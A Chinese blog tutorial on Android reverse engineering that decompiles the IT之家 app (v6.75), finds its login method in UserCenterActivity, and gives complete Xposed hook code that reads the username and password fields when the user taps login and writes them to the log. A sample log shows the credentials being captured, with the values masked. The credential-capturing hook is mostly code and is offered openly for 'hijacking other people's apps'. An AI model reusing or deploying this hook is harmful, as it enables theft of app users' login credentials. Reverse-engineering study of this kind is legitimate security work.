上一篇文章《Android逆向之玩转Xposed模块以劫持登录为例(Demo篇)》自编自导了一款劫持登录的Xposed模块,如果仅满于破解自己的APP是多么的悲哀,毕竟市场上的app都是经过各种混淆,签名,加固等安全处理的,想劫持别人的app谈何容易。鉴于此,通过实战来帮助童鞋们提高一个新的学习高度,接下来继续搞事情,着手破解别人的app。
准备食材
食材 | 版本 | 链接 |
---|---|---|
《IT之家》 Android端 | v6.75 | 点此下载 |
《IT之家》app(下文简称:app)是我最喜欢的国产app之一,UI设计得很优秀,不过本文要拿它开菜了,emmm…
择洗食材
将下载好的app去壳,洗净等待下锅。Excuse me???我是在写食谱吗?
其实是做应用脱壳和反编译操作。对了,app反编译这一块不是本文重点,涉及到比较复杂的知识面和过程,本文直接忽略这一过程,侧重于逆向分析和Xposed模块编写。
值得庆幸的是,这个app竟然没有加壳,我直接给反编译了。
MD,又是一段水文…
下锅爆炒
逆向分析一波,内容比较多,如果引起不适,也要看完~~~
既然要劫持登录,那就得设法找到登录有关的代码界面,我们从app的UI界面寻找突破口,观察下方登录界面:
选定“忘记密码?”(该词一般只会在登录界面出现,而其它如“密码”关键词在注册,忘记密码等界面都有可能出现,查找难度大)作为关键词搜索一波反编译代码,结果如下:
嗯哼,都集中在“activity_user_center”系列文件中,是登录界面布局文件无疑。未做android开发童鞋可能会一脸懵逼,那么多文件哪个才是啊?其实它们都是同一个界面引用的,只是针对不同版本系统,主题多做了对应的适配文件,任选一个即可。
接下来对关键词“activity_user_center”搜索一波,查看布局文件被哪个代码界面所引用:
找到了该布局文件的资源id(java代码表示为:R.layout.activity_user_center),值为“0x7f04009f”,对其再搜一波:
OK,这便是目标代码界面了。打开UserCenterActivity.smali(开发中对应为:UserCenterActivity.java)文件,对着上文的登录界面图片找到“邮箱/手机号”和“密码”编辑框控件以及登录按钮控件:
巧合的是它们的代码正好写在一起,很好找,不懂smali语法没关系,这里我给翻译成java代码:
@butterknife.BindView(a=0x7f110508)
android.widget.Button btn_user_login;
@butterknife.BindView(a=0x7f110507)
android.widget.EditText et_user_password;
@butterknife.BindView(a=0x7f110504)
android.widget.EditText et_user_username;
是不是似曾相识额?
嗯哼,接下来继续找登录按钮btn_user_login的点击事件(即用户触发登录的事件),找了一圈竟然没找到。阿西…见鬼了。
对了,它用了ButterKnife,会不会通过btn_user_login的资源id注册了点击事件?嗯,于是复制了上方java代码的资源id“0x7f110508”进行令人窒息的搜索操作:
还真找到了,简单粗暴地翻译如下:
@OnClick(a={0x7f110508})
public void login() {
String v0 = et_user_username.getText().toString();
String v1 = et_user_password.getText().toString();
if ((!TextUtils.isEmpty(v0) && (!TextUtils.isEmpty(v1))) {
......
}
......
}
OK,找到该方法就是找到了需要hook的入口方法。准备撸hook代码…
添加调味料
修改上文XposedDemo项目中HookLogin类下的handleLoadPackage方法:
public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) {
if (lpparam == null) {
return;
}
Log.e(TAG, "Load app packageName:" + lpparam.packageName);
/**
* 过滤非目标应用
*/
if (!"com.ruanmei.ithome".equals(lpparam.packageName)) {
return;
}
//固定格式
XposedHelpers.findAndHookMethod(
"com.ruanmei.ithome.ui.UserCenterActivity", // 需要hook的包名+类名
lpparam.classLoader, // 类加载器,固定这么写就行了
"login", // 需要hook的方法名,login()
// Hook回调
new XC_MethodHook() {
@Override
/**
* 指定的方法被hook前执行下面的方法
*/
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
Log.e(TAG, "劫持开始了↓↓↓↓↓↓");
}
/**
* 指定的方法被hook后执行下面的方法
*/
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
Class o = param.thisObject.getClass();
Field.setAccessible(o.getDeclaredFields(), true);
Field usernameField = findField(o, "et_user_username");
Field passwordField = findField(o, "et_user_password");
EditText et_user_username = (EditText) usernameField.get(param.thisObject);
EditText et_user_password = (EditText) passwordField.get(param.thisObject);
String username = et_user_username.getText().toString();
String password = et_user_password.getText().toString();
Log.e(TAG, "用户名: " + username + " , 密码 : " + password);
Log.e(TAG, "劫持结束了↑↑↑↑↑↑");
}
}
);
}
代码中我们对UserCenterActivity下的“login()”方法进行hook,获取用户名和密码并做log打印,这样在用户点击登录按钮的时候就可以记录用户名和密码了。
出锅上盘
对HookLoginModule重新编译apk安装到手机并重启(若不会,请参考上一篇文章)。
尝菜品味
打开app来验证Hook代码:
演示图做了登录操作,这里贴下log日志:
2019-05-11 23:23:52.932 27555-27555/? E/HookLogin: 劫持开始了↓↓↓↓↓↓
2019-05-11 23:23:53.005 27555-27555/? E/HookLogin: 用户名: 95***33@qq.com , 密码 : ******
2019-05-11 23:23:53.005 27555-27555/? E/HookLogin: 劫持结束了↑↑↑↑↑↑
成功获取到了用户名和密码(涉及隐私给和谐了哈)。
上菜
So delicious!可以上菜(zhuang bi)了,实战篇到此结束!
XposedDemo下载:https://github.com/ausboyue/XposedDemo